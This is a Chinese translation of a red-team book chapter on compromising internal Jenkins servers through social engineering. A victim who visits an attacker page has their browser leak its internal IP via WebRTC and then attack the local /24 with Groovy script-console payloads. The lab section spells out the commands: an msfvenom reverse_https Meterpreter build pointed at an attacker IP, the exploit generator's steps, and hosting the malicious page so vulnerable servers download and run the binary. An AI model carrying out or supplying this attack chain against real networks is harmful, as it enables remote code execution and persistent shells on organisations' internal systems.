利用社会工程学攻破内网 Jenkins

作为红队队员,攻击的创造性使我们的工作非常令人兴奋。我们喜欢利用旧的漏洞利用并再次使它们焕然一新。例如,如果你一直在进行网络评估,你就会知道,如果遇到未经身份验证的 Jenkins 应用程序(开发人员大量使用它进行持续集成),这几乎意味着它完全敞开在你的面前。这是因为 Jenkins 具有允许 Groovy 脚本执行测试的 “特性”。利用这个脚本控制台,我们可以使用允许 shell 访问底层系统的执行命令。

利用社会工程学攻破内网 Jenkins - 图1

这种方法在入侵方面变得如此受欢迎的原因是几乎每家大公司都有一些 Jenkins 实例。如果想要从外部进行攻击,就会存在一个问题:这些 Jenkins 服务都是内部托管的,无法从外部访问。

我们怎么样才能在这些服务器上远程执行代码? 在我们可以回答这个问题之前,我告诉我的团队先退后一步,用 Jenkins 构建一个副本网络进行测试。 一旦我们很好地理解了代码执行请求的功能,我们现在可以构建合适的工具来获得远程命令执行(RCE)。

面对这种情况,我们通过使用 JavaScript 和 WebRTC(Web实时通信)的一系列步骤解决了这个问题。首先,我们需要一个属于目标组织的受害者来访问一个我们拥有的公开网站或是我们存储了 XSS payload 的网页。一旦受害者访问我们的公开站点,我们将在他的浏览器上执行 JavaScript 从而运行我们的恶意 payload 。

此 payload 会利用一个 Chrome / Firefox 的 “功能” ,此功能允许 WebRTC(Web实时通信)公开受害者的内网 IP 。 通过内网 IP ,我们可以推断出受害者的计算机的本地子网,以了解其公司 IP 范围。 现在,我们可以使用我们特制的 Jenkins 漏洞利用通过 Jenkins 默认的8080端口在他们的网络范围内对每一个 IP 发起攻击(这段代码只扫描本地 /24 ,但在一个真实的红队行动中,你可能会想把扫描范围设置的比这个大很多)。

如果你玩过 Jenkins Console shell ,你就知道它有点难搞,因此能够持续获得复杂的 PowerShell payload 可能会很困难。 为了解决这个问题,我们为本书创建了一个名为 generateJenkinsExploit.py 的工具 ,该工具将获取任何二进制文件,对其进行加密,并构建进行恶意攻击的 JavaScript 页面。当受害者访问我们的恶意网页时,它将获取其内网 IP 并开始将我们的漏洞利用传播到 /24 范围内的所有服务器。当它找到易受攻击的 Jenkins 服务器时,此攻击将发送一个 Groovy 脚本的 payload 来从 internet 上抓取加密的二进制文件,将其解密为一个文件放到 C:\Users\Public\RT.exe 下,并执行 Meterpreter 二进制文件(RT.exe)。

在概念上(如下图所示),这与服务器端请求伪造 (SSRF)非常相似,我们强制受害者的浏览器重新启动与内网 IP 的连接。

  • 受害者访问我们存储的 XSS 或恶意 JavaScript 的页面。
  • 受害者的浏览器执行 JavaScript/WebRTC 以获取内网 IP 并使用 Groovy POST Payload 对本地内部网络发起攻击。
  • 找到一个 Jenkins 服务器后,我们的 Groovy 代码将通知 Jenkins 服务器从攻击者的服务器获取加密的 payload ,然后解密并执行二进制文件。
  • 在这种情况下,我们下载的加密可执行文件是 Meterpreter payload。
  • Meterpreter 在 Jenkins 服务器上执行,然后连接到我们的攻击者 Meterpreter 服务器。

利用社会工程学攻破内网 Jenkins - 图2

注意:最新版本的 Jenkins 中不存在此漏洞。 2.x 之前的版本在默认情况下是易受攻击的,因为它们未启用 CSRF 保护(允许对脚本进行无验证调用),并且未启用身份验证。

完整的 Jenkins 漏洞利用实验

  • 我们将构建一个 Jenkins Windows 服务器,以便我们可以复现此攻击。
  • 在本地网络上安装具有桥接接口的 Windows 虚拟机。
  • 在 Windows 系统上,下载并安装 JAVA JDK8。
  • 下载 Jenkins war 包:
  • 启动 Jenkins :
    • java -jar jenkins.war
  • 浏览器打开 Jenkins:
    • http://:8080/
  • 测试 Groovy 脚本控制台:
    • http://:8080/script

在 THP Kali 虚拟机上利用 Jenkins:

译者注:专门为本书开发的集成了所有环境的 Kali 虚拟机,本书第一章有介绍。THP 就是 The Hacker Playbook,本书的英文简称。

  • 下载 THP Jenkins 漏洞利用工具( http://bit.ly/2IUG8cs )。
  • 要执行该实验,我们首先需要创建一个 Meterpreter payload:
    1. msfvenom -p windows/meterpreter/reverse_https LHOST=<attacker_IP> LPORT=8080 -f exe > badware.exe
  • 加密我们的 Meterpreter 二进制文件:
    1. cd /opt/generateJenkinsExploit
    2. python3 ./generateJenkinsExploit.py -e badware.exe
  • 创建我们的恶意 JavaScript 页面命名为badware.html
    1. python3 ./generateJenkinsExploit.py -p http://<attacker_IP>/badware.exe.encrypted > badware.html
  • 将加密的二进制和恶意 JavaScript 页面都移动到 Web 目录:
    1. mv badware.html /var/www/html/
    2. mv badware.exe.encrypted /var/www/html/

利用社会工程学攻破内网 Jenkins - 图3

现在,在完全不同的系统上,你可以使用 Chrome 或 Firefox 浏览器访问你的攻击者网页:http:///badware.html 。只需访问该恶意页面,你的浏览器就会通过我们的 Groovy payload,使用 JavaScript 和 POST 请求对你的内部 /24 网络经由8080端口进行攻击。当它找到一个 Jenkins 服务器时,它将导致该服务器下载我们的加密 Meterpreter ,解密并执行它。在公司网络中,你最终可能会得到大量不同的 shell 。

利用社会工程学攻破内网 Jenkins - 图4

任何允许通过 GET 或 POST HTTP 方法进行未经身份验证的代码执行的场景都可以使用此种攻击手法。对于此类攻击,你需要确定受害者在内部使用哪些应用程序并制定你的恶意攻击。